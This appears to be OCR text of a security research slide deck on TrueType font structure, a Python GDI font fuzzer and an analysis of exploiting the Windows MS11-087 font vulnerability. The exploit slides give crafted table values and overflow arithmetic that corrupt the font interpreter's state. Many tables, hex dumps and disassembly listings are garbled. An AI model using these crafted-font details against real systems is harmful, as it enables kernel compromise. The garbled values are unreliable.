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Introduction

 Two groups of categories are exist:
a. GDI Fonts
b. Device Fonts

e GDI fonts which are based in Windows consists of
three types:

a. raster
b. Vector
c. TrueType & OpenType

Reference: http.//msdn.microsoft.com/en-us/library/dd162893(v=vs.85).aspx
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Introduction...

e Raster fonts: a glyph is a bitmap that uses to
draw a single character in the font

 Vector fonts: a glyph is a collection of line
endpoints that define the line segments and
uses to draw a character in the font

 TrueType & OpenType fonts: a glyph is a
collection of line and curve commands as well
as a collection of hints
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TrueType Fonts (.TTF)

TrueType font file contains data, in table
format, that compromises an outline font

The outlines of glyphs in TrueType fonts are
made of straight line segments and quadratic
Bézier curves

The Windows scale these fonts to any size
using the hints inside the TTF file.

Hints included in TTF files and are used to
correct oversights
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TrueType Fonts (.TTF)...

e TTF table is designhed to keep the entire glyph
data in various table:

a. EBDT: Embedded Bitma

b. EBLC: Embec

C

c. EBSC: Embec

ec

C

ecC

Bitma
Bitma

0 Data Table
0 Location Table

0 Scaling Table

e The rasterizer uses combination of data from
differents to render the glyph data in the font

Reference: TrueType 1.0 Font File, Technical Specification Revision 1.66 August 1995 Microsoft
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TrueType Fonts (.TTF)...

e TrueType embedded bitmaps are also called
‘scaler bitmaps’ or ‘sbhits’

A set of bitmaps for a face at a given size is
called a strike
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TrueType Fonts (.TTF)...
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1TF Font Structure

A | | Mame

FontDatalist[1]
= FontData[0]
+ FontOffsetTable

Version
MumnTables
SearchRange
EnkrySelector
Rangeshift

+ FontTablebirectory[ 16]

[}

[

EBDTDirectaryEntry[0]
EELCDirectoryEnkry[1]
EBSCirectorvEntry[2]
O5Z0irectorvEntr[3]

CMAPDirectorvEnkr[4]
CWTDireckoryEntry[5]

FPaMDirectoryEntry[a]
GLYFDirectoryEnkry[ 7]
HEACDirectoryEnkry[3]
HHEADirectoryEnkry[9]

GeneticDirectoryEntry[10]

LacalireckaryEntry[11]
MasPDirectorvEntry[ 12]
MameR ecordDirEntry[13]

GenericDirectoryEntry[14]
zenericireckoryEntry[15]

Yalue

0x10000
0x10
0100
0x4

00

EEDT
EBLC
EBSC
o5iz
cmap
vl
Fpam
alyf
head
hhea
hirnkz:
loca
maxp
narme
posk
prep

Offset

000000000
000000000
000000000
000000000
000000004
000000008
000000005
0x0000000a
00000000
00000000
00000001
00000002
00000003
00000004
0:0000005c
0x0000006C
00000007
00000008
0:000000%
0x000000ac
0x000000be
0000000
0:000000dc
0x000000ec
0 000000fc

Size

0x0000010c
0x0000010c
00000000
0x00000004
0x00000002
000000002
000000002
0x00000002
(0x00000100
0x00000010
0x00000010
0x00000010
000000010
0x00000010
0x00000010
000000010
0x00000010
000000010
0x00000010
0x00000010
0x00000010
0x00000010
0x00000010
0x00000010
000000010

Type
List=Fa...
FontData
OffsetT...,
Diatalte, ..
Datalte, ..
Diatalte, ..
Datalte, ..
Diatalte, ..
List<Dir..
EEDTDir ...
EBLCDir ...
EEBSCDir ...
Q520ire...
CMAPDI. .,
CYTDire. ..
FPEMDir.
GLYFDir. ..
HEALDir. ..
HHEAD. ..
GEMErC..,
Localit...
MAXPDF. ..
MameRe. .,
GEMENC..,

GENEC..,



TrueType Fonts (.TTF)...

e EBDT — Embedded Bitmap Data Table:
a. EBDT table stores the glyph bitmap data.
b. The ‘EBDT’ table begins with a header
containing simply the table version number
c. The rest of the ‘EBDT’ table is a collection of
bitmap data
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Yalue
+ FontTableDirectory] 16]
EBDTDirectoryEntry[0] EBDT
Tag EEBDT
Checksum ABI0430A
COFfset 0:x3B054
Length w2
| vversion 020000 |
bitrnapCatal12]
b EbdtFormat1[0]
¢+ EbdtFormatal1]
»  EbdtFormati[2]
¢ EbdtFormatal3]
b+ EbdtFormat1[4]
¥ EbdtFormata[s]
EbdtFormat1[a]
¢ EbdtFormata[?]
¢ EbdtFormat1[s]
¢ EbdtFormata9]
¢ EbdtFormat1[10]
= EbdtFormata11]
¢ smallMetrics
pad 00
numi_omponents 0x1
v componentarray[1]
EBLCDirectoryEntry[1] EBLC
EBSCDirectorvEntry[2] EBSC

EBDT Table Structure

Offset

O=0000000:
Oex0000000c
Oz=0000000:
O=000oooto
Oex0000001 4
Oex00000015
00003bd54
Ox0003bdSs
Ox0003bdss
0x0003bd5e
0003bdss
0x0003bdSe
Ox0003bdss
Ox0003bdSe
Ox0003bdss
0x0003bdSe
Ox0003bdss
0x0003bdSe
Ox0003bdea
0003bd70
0x0003bd70
00003bd7s
Ox0003bd7e
Ox0003bd7E
O=0000001c
Ox0000002c

Size

000000100
Ox00000010
000000004
000000004
000000004
000000004
000000004
Ox00000024
000000008
0x0000000c
000000008
0x0000000c
000000008
Ox0000000:
000000008
Ox0000000:
000000008
0x0000000:
000000008
0x0000000:
000000005
000000001
0x00000002
000000004
000000010
Ox00000010

Tvpe

List=D. ..
EBDTL...
[rakalk. ..
[Datalk...
Drakalt. ..
Dratalt. ..
Dakalk, ..
List=Dn ..

EbdtF...
EbdtF...
EbdtF...
EbdtF...
EbdtF...
EbdtF...
EbdtF...
EbdtF...
EbdtF...
EbdtF...
EbdtF...
EbdtF...

smallal...
[Datalt...
Dakalk...

List<e...

EBLCD...
EESCDn..



TrueType Fonts (.TTF)...

e EBLC - Embedded Bitmap Location Table:

a. The ‘EBLC’ table identifies the sizes and glyph
range of the sbits, and keeps offsets to glyph
bitmap data in indexSubTables

b. The ‘EBLC’ table begins with a header
(eblcHeader) containing the table version and
number of strikes.

c. The eblcHeader is followed by the
bitmapSizeTable array(s)

d. Each strike is defined by one bitmapSizeTable
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EBLCDirectoryEntry[1]

Tag

Checksumn
Offsek
Length
weErsion

numsizes
- bitmapsSizeTables[5]

*

*

bitmapSizeTable[O]
bitmapSizeTable[1]
bitmapSizeTable[Z]
bitmapSizeTable[3]
bitmapSizeTable[4]
bitrmapSizeTable[5]
indexSubTablesrrawOFFset
indexTablesSize
numberofIndexSubTables
colorRef
v hori
werk
startGlyphIndex
endGlyphIndex
PREM®
pRem®yY
bitDepkh
Flags=
~ indexSubTableArrayList[2]
v indexsubTablearray[0]
= indexSubTablearray[1]
FirstGlyphInde:
lastclyphInde:x
additionalofFset TolndexSubtable
~ indexSubTable
~ header
indexFormat
irnageFormat
imageDatalffset
v offsetarray[2]

EBLC Table Structure

Walue
EELZ
EELZ

Ox1F4D...

Ox3BDFC
0x175
Ozxz0000
OxE

O=150
Ox=z25
Oxz
Ox=0

Ox3
Ox
Ox1
Ox1
Ox1
Ox1

O
O
Q=1

Ox3
OxE
Ox1C

COfFfset

Ox=0000001c
Q0000001 c
Ox=00000020
Ox=0000002<¢
000000025
0x0003bd7c
0x0003bd30
0x0003bds4
0x0003bds4
0x0003bdb4
0x0003bde4
0x0003bel4
0x0003bed4
O0x0003be?4
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Size

Ox=00000010
Ox=0000000<+
Q0000000+
Ox=0000000<+
Ox=0000000<+
Q0000000+
Q0000000+
O=000001 20
Ox=00000030
Ox=00000030
Ox=00000030
Ox=00000030
000000030
Q00000030
Q00000004
O=0000000<+
Ox=0000000<+
Q0000000+
Ox=0000000c
Ox=0000000c
000000002
Ox=00000002
Q00000001
Q00000001
Ox=00000001
Q00000001
Ox=00000010
Ox=00000005
000000005
Ox=00000002
000000002
C=00000004
Ox=0000000c
Q00000005
000000002
O=00000002
Ox=0000000<+
Q0000000+



TrueType Fonts (.TTF)...

e EBSC - Embedded Bitmap Scaling Table:

a. The ‘EBSC’ table allows a font to define a
bitmap strike as a scaled version of another strike

b. The table begins with a header (ebscHeader)
containing the table version and number of strikes

c. The ebscHeader is followed immediately by the
bitmapScaleTable array. The numSizes in the
ebscHeader indicates the number of
bitmapScaleTables in the array

d. Each strike is defined by one bitmapScaleTable
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+ EB3CDireckoryEntry[2]

Tag

Checksum
Offset
Length

YEFSIOn

numaizes
bitmap5caleTablelist[5]

b

bitmap3caleTable[0]
bitmap3caleTable[1]
bitmap3caleTable[2]
hitmapacaleTable[3]
bitmap3caleTable[4]
b hori
bWt
PREm
ppemt
substitutePpemid
substitutePpenm'y

b CaZ0ireckoryEntry[3]

Walue
EBSEC
EBSC
Dx1EZ0...
0x3BEF4
094
020000
0x5

O
0w
01
01
052

Ofset

(00000022
(0000002
(00000030
(00000034
(00000035
0x0003bef4
Dx0003befs
[x0003beft
00003hefc
0x00030F18
0x000306F34
0x00030FS50
0x0003bF6c
0x00030F6e
0x00030F78
0x00030F54
0x000306FE5
0 00030Fa6
0x00030FE7
(0000003

Size

000000010
000000004
000000004
000000004
000000004
000000004
000000004
0x0000003c
00000001 ¢
00000001
00000001
00000001
00000001
0x0000000¢
0x0000000:
000000001
000000001
000000001
000000001
000000010

3/16/2012

EBSC Table Structure



TrueType Fonts (.TTF)...

e Glyph Data (glyf)
a. This table contains information that
describes the glyphs in the font
b. Table provides instructions for each of the following
tasks:

- Pushing data onto the interpreter stack
- managing the Storage Area
- managing the Control Value Table
- modifying Graphics State settings
- Managing outlines
- General purpose instructions
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TrueType Fonts (.TTF)...

 TrueType instructions are uniquely specified by
their opcodes.

GLYFDirectoryEntry ->
DataGLYFData[x+1]->
SimpleGLYFData[x]-> instructions

e Examples: Pushing data onto the interpreter stack
— function[0xBO]: itrp_PUSHB1
— function[0OxB8]: itrp_PUSHW1
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TrueType Fonts (.TTF)...

e Examples: Managing the flow of control
- function[Ox1C]: itrp_JMPR
- function[Ox1F]: itrp_LSW
- function[0x78]: itrp_JROT
e Examples: Managing the stack
- function[0x20]: itrp_DUP
- function[0x23]: itrp_SWAP
e Examples: Managing the Storage Area
- function[0x43]: itrp_RS
- function[0x42]: itrp_WS
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TrueType Fonts (.TTF)...

e Examples: Managing the Control Value Table
- function[0x44]: itrp_ WCVT
- function[0x45]: itrp_RCVT
 Examples: Managing the Graphics State
- function[0x4D]: itrp_FLIPON
- function[Ox4E]: itrp_FLIPOFF
 Examples: Arithmetic Functions
- function[0x60]: itrp_ADD
- function[Ox61]: itrp_SUB

Reference: Chapter Appendix B, TrueType 1.0 Font File, Technical Specification Revision 1.66 August 1995
Microsoft
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TrueType Fonts (.TTF)...

* I[mportant info (1) in exploitation:

structure fnt_GlobalGraphicStateType{

3/16/2012

stackBase; /*the stack area

store; /*the storage area
controlValueTable; /*the control value table

int8 non90DegreeTransformation /*bit0: 1 if non-90 degree

/*bit 1:1 if x scale not equal y scale
unitl6 cvtCount;
} fnt_GlobalGraphicStateType,;



TrueType Fonts (.TTF)...

 Important info (2) in exploitation:

- function ‘itrp_InnerExecute’ as the disassembler
engine to process Glyph Data and map to correct
TrueType instructions

 fnt GlobalGraphicStateType:
+0 : stackBase
+4: store
+8: controlValueTable
+90h: non90DegreeTransformation

+134h: cvtCount
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000 3EA40
00036450
00036460
00036470
0003BAG0
000 3EA90
0003640
0003BARD
000 3BACO
000 3BADD
000 3BAED
0003BAFD
0o03BEB00
0003BE10
0003BBZ0
0003BE30
000 3EE40
0003BES0
00036E&0
0o03BE70
0003BEE0
0003BE20
000 3BBAOD
000 3BBED
0003BECO
0003BEDO
0003BBED
000 3EEFO
Qo03BCO0
Qo03BC10
0003BCE0
0o03BC30
0003EC40
Qo03BC50
000 3ECED
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= GLYFDireckaryEntry[ 7]

[}

Tag

Zhecksum
OFfFset
Length

+ DataGLYFs]

3

L;

pad
HEADD

SimpleGLYFDatall]
SimpleGLYFDatall]
SimpleGLYFDatalz]
SimpleaLY¥FDatal3]
SimpleGLYFDatal4]
SimpleGLYFDatals]
nurmberOfContours
xMin
wMIn
*Max
wMax
b endPtsOFConkours[1]
instructionLenagth
+instructions[169]
Flags[2]
b xCoordinates[1]
¢ wCoordinates[1]
ding[0]
rectorvEntre[3]

Yalus
qglyf

qglyf
01803, ..
0x3BAE
OxBC

01
00
00
0x1
01

DS

head

Offset

O=0000007 e
O=0000007c
O=00000030
O=000000354
O=00000055
D:x0003bas
Dx0003bas
0x0003bas
Dx0003bas
Ox0003basd
Dx0003bas
Ox0003bas4
Dx0003bas
D:x0003basé
0x0003basd
Ox0003basa
Dx0003baec
Ox0003base
Ox0003baf0
0x0003bafz
Ox0003bbab
Ox0003bb5d
Ox0003bbSe
00000000
0000008

Size

Ox00000010
Ce=00000004
O 00000004
Oe=00000004
O 00000004
000000067
000000067
000000067
000000067
0x00000067
000000067
000000067
Ox00000002
O=00000002
O=00000002
000000002
Ox00000002
0=00000002
O=00000002
Ox0000004%
Ox00000002
000000001
O=00000001
= 00000000
Ox00000010



TrueType Fonts (.TTF)...

K2 ]

Ll s B3
BF85BFSS

BFBEBFEt i oY DD -
BFBSBFSH mou 7= edx, byte ptr [eax]

BF8S5BFS58 sub dword_BFA1%6n@8, 1
BFESBFSF jz short loc BF8S5BF73
L 4 = L
[P / [P
BFB5BF61 lea ecx, [eax+1] BFBSBF73
BF85BF64 mov eax, Ffunction[edx=i] BF85BF¥3 loc_ BFBSBF73: |
BF85BFO6B cal eax ; itrp_SUTCA_B({x,x) ; itrp SUTCA B({x,x) BFES5BF73 mow dword_ BFA1948BC, 11BEhl
BFBSBFGA6D cm eax, esi 1
BFB8SBF6F jb short loc_ BF8SBFSS
1
| et
Yy
- B Ll e 53
BF85B i BF8S5BFTD
BF 85BH BFBSBF 7D loc BFBSBF7D:
BF8SBF7D pop esi

BEF85BFFE retn
BF8SBF7FE itrp_InnerExecute endp

BFBSBF7E
000 SEAED 00 00 00 00 01 00 01 00 ol Itrp_lnnerExeCUte
000 3BAFD 4F EBO 00 43 45 4D BE0O 00 43
000 3BEOO0 oo 43 BO 01 60 20 BO 00 23
000 3BELD =4 78 BO 80 1C BO 00 43 20
000 SEEZ0 45 EO 01l 23 42 45 BO 02 =23
000 3EES0 01 43 BEO 00 50 5C BO 18 =23
000 3EE40 61 EO O 23 768 EBO 01 43 EO
000 SBESO 784 BO OO0 43 BO 0Ol &0 =20 EO
000 SEBE&D Eo 31 23 78 EBO 01 EO 02 43
000 3EETOD EO 03 EO 00 43 45 42 BES FH
000 3BES0 60 45 BO 50 60 BO 00 43 23
000 SBEESOQ BO 03 43 44 [31 37 01 0l 00

000 3EBEAD 03 00 01 04 0% 00 00 00 66

Glyph data in hexadicimal format
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TrueType Fonts (.TTF)...

v Y
Ll s B3
BF85BFSS
BFESBF55 loc_BF8S5BFS55:
BFB5BF55 mouzx edx, byte ptr [eax]
BFESBFS58 sub dword_BFA1%6n8, 1
BFB8S5BFSF j=z short loc_ BF8S5BF73
L
[P [P -
BFB5BF61_lea ecx, [eax+i] BFBSBF73
BF85BF64] mov eax, function[edx=xi] BF85BF¥3 loc_ BFBSBF73:
BFE5BFGB| call eax : itrp SUTCA B(x,=)}| ; itrp SUTCA_B(=,=}[|  BFESBF73 mou dword BFA1268C, 118Eh
BFBSBFAGD cmp eax, esi 1
BFESBF6F jb short loc_BF8S5BFS55
_ 11 ]
£ — J
4 Yy
e =9 e =9
BFESBF71 pop esi BFESBF 7D

BFBSBF72 reln

000 3EARED 00 5E i

L] oo

BFSSBF7D pop

BFBSBF7E

BFBSBFYD loc_ BFBSBF7D:

esi

BEF85BFFE retn
BF8SBF7FE itrp_InnerExecute endp

000 3BAFD oo a5 |Eo oolBo

000 3BEOO0 5 561 EBEO
000 3BELD 1= EBEO 50
000 SEEZ0 E0 01 6l
000 3EES0 - 45 EO
000 3EE40 (78 EO 01
000 SBESO 03 43 ol
000 SEBE&D oo 23 42
000 3EETOD - EBO 0OZ
000 3BES0 £S5 1C EBO
000 SBEESOQ i B0 01

BTk
6l ES
20 EO
035 23
4353 EO
SC EO
E0 50
EO 03
oo 43
1F EQO

03 43 a4 |51

000 3EBEAD oo 0o oo

o5 oo

oo 01 o4 09

Glyph data in hexadicimal format
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itrp_InnerExecute

23




TrueType Fonts (.TTF)...

BFBSBF o 4] mow
BFBSBFOBj call

eax, function[edx=xi]

eax ;

itr

BFESBFGD cmp
BFESBF6F jb

eax, e

51

SUTCA B{x_ =) : itrp SUTCA B{x,x)| [BFESBF¥3 mouv dword_ BFA1268C, 118Eh
X |

BF55 \\\

A ]

il s B

BFBSBFSS

BFB8SBFSS loc_BF8S5BFGG:

BFB5BF55 mouzx edx, byte ptr [eax]

BFBSBFS8 sub dword_BFA1%6h6, 1

BFESBFSF j=z short loc_ BF85BF73

L L

Ll s = Ll e =3
BFB5BF61_lea ecx, [eax+i] BFBSBF73

BFBSBF¥3 loc_BFBSBF73:

¥

short loc_BF85

bl e =3

BF8SBF71 pop
BF8SBF72 retn

esi

000 3BAED 00 S5E oQfeoo. 00
000 3BAFD oo a5 |Eo oolBo

000 3BEOO0 5 561 EBEO
000 3BELD 1= EBEO 50
000 SEEZ0 E0 01 6l
000 3EES0 - 45 EO
000 3EE40 (78 EO 01
000 SBESO 03 43 ol
000 SEBE&D oo 23 42
000 3EETOD - EBO 0OZ
000 3BES0 £S5 1C EBO
000 SBEESOQ i B0 01

= A

BFBSBF 7D
BFBSBF 7D
BFBSBF 7D
BFBSBFFE
BFESBFFE
BFBSBF7E

BTk
6l ES
20 EO
035 23
4353 EO
SC EO
E0 50
EO 03
oo 43
1F EQO

000 3EBEAD oo 0o oo

o5 oo

Glyph data in hexadicimal format
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itrp_InnerExecute

;Function[0xBO]: itrp_PUSHB1
;’00" is parameter of the instruction

24



TrueTy

pe Fonts (.TTF)...

(5= B T

BFEGAFEA jh

BFE5AFE1 1lea eax, [ecx+1]]
BFEGAJFEL Ccmp eax, edx
BEFE6ATEG ja short loc_ BFE846AFFA
¥ - -
Ll o B2
BFE6AFES cmp eax, ecx

short loc_BFS846RA7FA

¥

v ¥

Ll =5 =3 batl w3
BFBﬁH?EBlmuuzx ecx, byte ptyr [ecx] BF85A7FFA
BFEGSGATEF L1 [esdil (=1 .4 BF85AFFA loc_ BFE6ATFFAC
BF86A7F1 add dword_ BFRI?G63IE, &L BFE6A7FA mow dword_ BFA1268C, 111Dh
BFEGAFFE pop esi BF86A8 AL
BFEOGAFFD? retn BF86ABOL ; stdcall IsMessageParentWindowd=x)
BF86A8AM IsHMessageParentWindowial:
BEFE8E6n8 8L mou eax, edx
BEF86AB0S pop esi
BF26AB07 retn
BF26ABO7 Eitrp PUSHB1E8 endp
BF8E5AB A7
O00SEAED 00 SE LQo.no 00 01 00 00 00 00 00 01 01 |trp_PUSHBl
000 3BAFD oo 49 |Eo oo B0 oo 42 4E BO 00 43 45 4D BO 0N 43
000 3EBEOO 15 51 BO 17 23 78 BO 00 43 BO 01 60 20 BO 00 %3
000 3EELD 2 B0 50 61 B8 FF DF 23 78 EO 80 1C BO 00 43 20\
000 3EEZ0 E0 01 51 20 EO 01 51 45 EO 01 23 42 45 EO 02 23
000 3EE30 1z 45 BO 03 23 42 BO 01 43 BO 00 50 5C BO 15 23 (o
O0D3BE40  ffE BO Ol 43 EO 02 43 61 Bo 0D 23 78 Bo 01 43 Bo|l | ;ecx: parameter ‘00
000 3EES0 03 43 61 5C EO 2B 23 78 EO 00 43 EO 01 60 20 EOD . . .
O003BEE0  jO0 23 42 BO 50 1 S5C B0 31 23 78 Bo 0l BO Dz 43 | ;esi: pointer structure fnt_GlobalGraphicStateType+0
000 3EETO iz EO0 02 BO 03 43 4z B0 03 BO 00 43 45 42 ES FF
000 3BES0 £S5 1C BO OO0 43 BO 03 50 45 BO 50 50 BO 00 43 23
000 3EE90 fid B0 01 1F B0 00 4% B0 03 43 44 [31 37 01 0l 00
000 3EBAD 00 00 00 08 00 66 00 03 00 01 04 09 00 00 00 66

Glyph data in hexadicimal format
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TTF Fuzzer

e TTF font fuzzer is created to fuzz the TTF font into
different sizes

* |n GDI, we can create a font by:
a. filling in a LOGFONT structure

b. calling ‘CreateFontIndirect’” which returns a
font handle (HFONT)

c. Work with fonts at a lower level through font
APls: GetFontData, GetGlyphlndices, ExtTextOut
with ETO_GLYPH_ INDEX flag

Reference: http://blogs.msdn.com/b/text/archive/2009/04/15/introducing-the-
directwrite-font-system.aspx
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TTF Fuzzer

 The overall process of the fuzzer:

a. automating the installation of the crafted
font in ‘C:\WINDOWS\Fonts’ folder

htr=windll.gdi32.AddFontResourceExA(fileFont, FR_PRIVATE, None)

b. Register a window class and creating a new
window to automate the display of the font
text in a range of font size

c. Remove the fonts in ‘C:\WINDOWS\Fonts'
folder

windll.gdi32.RemoveFontResourceExW(fileFont, FR_PRIVATE, None)
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TTF Fuzzer

* Arange of font size

If=win32gui.LOGFONT()

for fontsize in range (0, 100, 1):
If.IfHeight=fontsize
If.IfFaceName="Dexter"
If.IfWidth=0
If.IfEscapement=0
If.IfOrientation=0
If.IfWeight=FW_NORMAL
If.Ifltalic=False
If.IfUnderline=False
If.IfStrikeOut=False
If.IfCharSet=DEFAULT _CHARSET
If.IfOutPrecision=0OUT_DEFAULT PRECIS
If.IfClipPrecision=CLIP_DEFAULT _PRECIS
If.IfPitchAndFamily=DEFAULT _PITCH|FF_DONTCARE
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TTF Fuzzer

e Calling physical font APIs and display the
font text

windll.gdi32.ExtTextOut W(
hdc,
>,
>,
ETO GLYPH_INDEX,
None,
varl,
len(varl),
None)
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TTF Fuzzer
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Exploit MS11-087

i

e

—rrrr —T—— T =TT
+ EBLCDirectoryEntry[1] ppem Ox1 0x0003bea0 Ox00000001  Dataltem_BEUINtS
Tag El ppemY i 0x0003beal 000000001 Dataltemn_BEUINtS
Chedksum ox bitDepth 0x0003beaz  Ox00000001  Dataltem_BEUINtS
Offset ox flags L 0x0003bea3 020000000 1 Dataltem_BEINtS
Length ox mdc_xSubTab]cArrayLnst[Z] Vﬂlue Must 0000 3becc 0000000 10 !_usl-:lndc »SubTabl. ..
version ax - indexSubTableArray[0] Ox0003bece 000000003 indexSubTableArray
e o firstGlyphIndex Ox3 Equal to 1 Ox0003becc OxD0000002 Dataltem_BEUINt 16
lastGlyphIndex Ox3 0000 3bece D000 D002 Dataltem_ BEUINt 16
> |bitnansiaeTables (0] additionalOffsetTolnd... 0x10 0x0003bed0  Ox00000004  Dataltem BEUINt32
| ENtreapstasTatde ] »  indexSubTable Ox0D03bedc  Ox00000D0C  indexSubTable3
» | bitmapSizeTable[1] - indexSubTableArray[1] Ox0003bed4  Ox000000028  indexSubTableArray
+  bitmapSizeTable[2] firstGlyphlndex One 0x0003bed4  Ox00000002  Dataltem_BEUINt16
»  bitmapSizeTable[3] lastGlyphIndex o Ox0003beds 000000002 Dataltem_BEUINt16
» bitmapSizeTable[4] additionalOffsetTolnd. . fx 1C imageFormat =8 0x0003beds 0x0000000% Dataltem_BEUINt32
~ bitmapSizeTable[5] -  imdexsSubTable D000 3baas [l s lulslnlnlu sty imdexSubTable3
indexSubTableArrayOffset D L 0x0003bees D000 00008 indexSubHeader
indexTablesSize Ox indexFormat 0x3 - 0x0003bees 0200000002 Dataltem_BEUINt 16
umberOfindexSubTables ox imageFormat Ox8 0x0003bess 0x00000002 Dataltem_BELIAt 16
R o imageDataCff... 0x1C 0x0003beec 0x0000000% Dataltem_BELINt32
4 o e nffostirraw 21 MW e A MO S licst<Dataltem HFE.
- |-Value Equal
+ EBDTDirectoryEntry[0] Ox0000000c  Ox00000010  EBDTDirectoryEntry
- . = Tag Ox0000000c  OxO0000004  Dataltem_ASCIISE...
T P T T, L~
o onc Checksum Ox00000010  Ox00000004  Dataltem_BEUINt32
’_mw gl Offset Ox00000014  Ox00000004  Dataltem_BEUINt32
bitDepth ox1 Length CoeOD0000 18 Ox0000000% Dataltem_BEUInt32
flags oxi version DxDOD3bd54  DJ00000004  Dataltem_BEUIN32
~ indexSubTableArraylList[2] ~ bitmapData[12] Ox0003bd 58 Ox00000024  List<DataStructure >
« EBSCDirectoryEntry[2] EBSC | - EbdtFormata[11] |@ wr 0x0003bd70  Ox0000000c  EbdtFormats
Tag EBSC T | 0x0003bd70  0+p0000005  smallGlyphMetrics
Checksum Ox 1E20050A haight ox1 Ox0003bd70  OxO0000001  Dataltem_BEUINS
Offset O 3BEF4 width OwFF 0x0003bd71  Ox00000001  Dataltem_BEUINtS
Length 0x94 BearingX 00 Ox0003bd72  Ox00000001  Dataltem_BEINntS
version 0x20000 Bearing 00 Difference = 0 Jo03d73  0x00000001  Dataltem_BEIntS
numSizes Ox5 Advance ox0 03bd74  0x0D0000001 Dataltem_BEUINtS
> | biimapScaleTablelist{5) pad 0ox0 0x1C 03bd75  OxD00000D1  Dataltem_BEINtS
- |bitmapScaleTatd Fontsize = 4 numComponents ox1 0x0003bd76  Ox00000002  Dataltem_BEUInt16
L[ cet ~ componentirray[1] 0x0003bd78  Ox00000004  List<ebdtCompon...
" o - ebdtComponent[0] Ox0003bd78  Ox00000004  ebdtComponent
— e glyphCode 0x3 0x0003bd78  Ox00000002  Dataltem_BEUINt16
substitutePpem Ox1 xOffset 0x30 Ox0003bd7a  Ox00000001  Dataltem_BEIntS
substibtePpemY Ol yOffset 0x52 Ox0003bd7b  Ox00000001  Dataltem_BEIntS
. = L it
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Exploit MS11-087

Name
EBSC.bitmapScaleTable[0].ppemX
EBSC.bitmapScaleTable[0].ppemY
EBLC.bitmapSizeTable[5].ppemX

EBLC.bitmapSizeTable[5].ppemY

EBDT.bitmapData.EbdtFormat8[11].

smallMetrics.height

EBDT.bitmapData.EbdtFormat8[11].

smallMetrics.width

EBDT.bitmapData.EbdtFormat8[11].

ebdtComponent[0].xOffset

EBDT.bitmapData.EbdtFormat8[11].

ebdtComponent[0].yOffset

Value
0x004
0x004
0x001

0x001

0x001

OxOff

0x040

0x052

Description
Target horizontal pixels per Em
Target vertical pixels per Em

Horizontal pixels per Em
Vertical pixels per Em

Number of rows of data

Number of columns of data

Position of component left

Position of component top

Important info in exploitation
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Exploit MS11-087

e usScaleWidth
=(EBLC.ppemX+((EBSC.ppemX*2)*
EBDT.width))/(2*EBLC.ppemX)
=(0x001+((0x004*2)*0x0ff))/(2*0x001)
= (0x001+0x7F8)/(0x002)
= 0x03FC
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Exploit MS11-087

e usScaleHeight =
(EBLC.ppemY+((EBSC.ppemY*2)*EBDT.height))
/(2*EBLC.ppemY)

=(0x001+0x008)/(0x002)
= 0x0004
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Exploit MS11-087

e usScaleRowBytes
=((usScaledWidth+0x1F)>>3)&(0xFFFC)
= ((OXO3FC+0x1F)>>3)& (OxFFFC)
= (0Ox85)&(0xFFFC)
= 0x80
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Exploit MS11-087

e usOriginalRowBytes
= ((EBDT.width+0x1F)>>3)&(0xFFFC)
= ((OXOFF+0x1F)>>3)&(0xFFFC)
= 0x20
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Exploit MS11-087

e Byte of scaling bitmap data
=usScaleHeight*usScaleRowBytes
= 0x004*0x080
= 0x200
 Required byte of scaling bitmap data offset
= (EBDT.yOffset)*(usOriginalRowBytes)
= 0x52*0x20
= 0x0A40
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Exploit MS11-087

phicStateType{

stackBase

structure fnt GlobalGra
store

[*the stack area

[]
’

/*the storage area
/*the control value table

.
’

L]
’

controlValueTable

int8 non90DegreeTransformation

L]
’

t16 cvtCount
} fnt_GlobalGraphicStateType

) Pl 3

uni

.
’
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BEFORE

rrte ptr [==1 ] . =11

.
’

/*the storage area
/*the control value table

[*the stack area

Exploit MS11-087

phicStateType{

L]
’

L]
’

9221chlZ2 o206
kd:> db ==i
f=2990co
f=2990d4d=

=

=

=

=

=

9

[]
’

stackBase
store

.
’

t16 cvtCount
} fnt_GlobalGraphicStateType

) Pl 3

int8 non90DegreeTransformation
uni

controlValueTable

win3dZkl=fac SetShitBitmaniss

structure fnt GlobalGra
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Exploit MS11-087

fe29937c ebx=fes98{98 ecx=fes99098 edx=00000001 e=i=fe298{98 edi=00c=1bhb94
nv up 1 hg KE ha po ho

kd: r
Eax=

96587268 1opl

0023

965871dc =bp

937fcdba e=sp
==

goog
winddk!litrp LSW+0=LE:

937icd5a f£id0

2ip
C=

oooonzZaz

efl

g==0000

I
geax {fel9937c)

0030

f==

==

0010 d==0023

call

phicStateType+134h

(cvtCount)

fnt_GlobalGra

f=298b10
f=292£14
f=298£94
oooonogl

kd: dd f=298£98+134 1

kd: dd fe298£98+8 11
f=2990cc

kd: dd feZ?%53f98+4 11
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L e e e

BFB4E94A [movz: edx, word ptr [edz+134h] ; edx=cutCount]
BFE84EQS1 |mov ecx, [eax] ; ecx=stackBase+8
BFBLEY53 Tmp ECX, edx

Exploit MS11-087

B e R L)

BFB4ED55 j1

I\N

short loc_ BF84E9SF

Ll el B3

BFBA4EY57 cmp
BFS4EYSD jg

ecx, BFFh

short loc BFBA4E963

3/16/2012

BFE:E')SF \ \]\
BFBUEYSF loc BFBAEOSF:
BFSAEYSF test  ecx, ecx
BFBUE9GT jge short loc_BFSNE97L
BFSA4ED61
vy
il w9 [ )
gigﬂgggg loc_BFSHE963: gigﬂgg;wnﬂ 2lelitrp RCVT+0x33:
gigﬁgggg = E;:;udggﬁigggﬂﬁfnn EEEEEE;HE?EEE‘*IEL 0fb79234010000 movex edx, word ptr [edz+l13dhk]
BFSME972 pop esi . prascogd> dw edx+134h 11
BFS4E973 retn Br8aE9s f =2 990 0081
BFSMEOS)) 4.
prsucoswin3 2k | itrp RCVT+0x3a:
BF84ESR Q37 1=95]1 BLOB mow ecHE,dword ptr [sax]
kd: dd e=ax
fe298b10 0000002f 00000003 0000002 OOO30009
fe293b20 00000000 QOOOOOOQ0 OOOQOOOO0Q QoO0OQQOoo
fe293B30 Q0000000 QO0Oooooo ooooooon oooooooo
fe298b40 00000000 OOOQOOOQOO OOOQOOOQOO0 OOOQ0OO0O0O
fe?983E50 00000000 QOOOOOOO00 OO0O00O0000 Oo0o000ooo
fe293b60 00000000 QO0QO0O0OQQ0 O0O0OQOQOOO00Q QooO0Qooo
fe293bY0 00000000 QOOOOOQOQ0 OOQOOOO0Q QooO0Qooo
fe293B80 00000000 QOOQOO0OQQ0 OOOQOQOOO00Q QoO0O0QOoo
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Exploit MS11-087

o BFB4ES4A [movzz edx, word ptr [edx+134%h] ; edz=cvtCount
BFB84EQ51 | mov ecx, [eax] s ec¥=stackBase+8
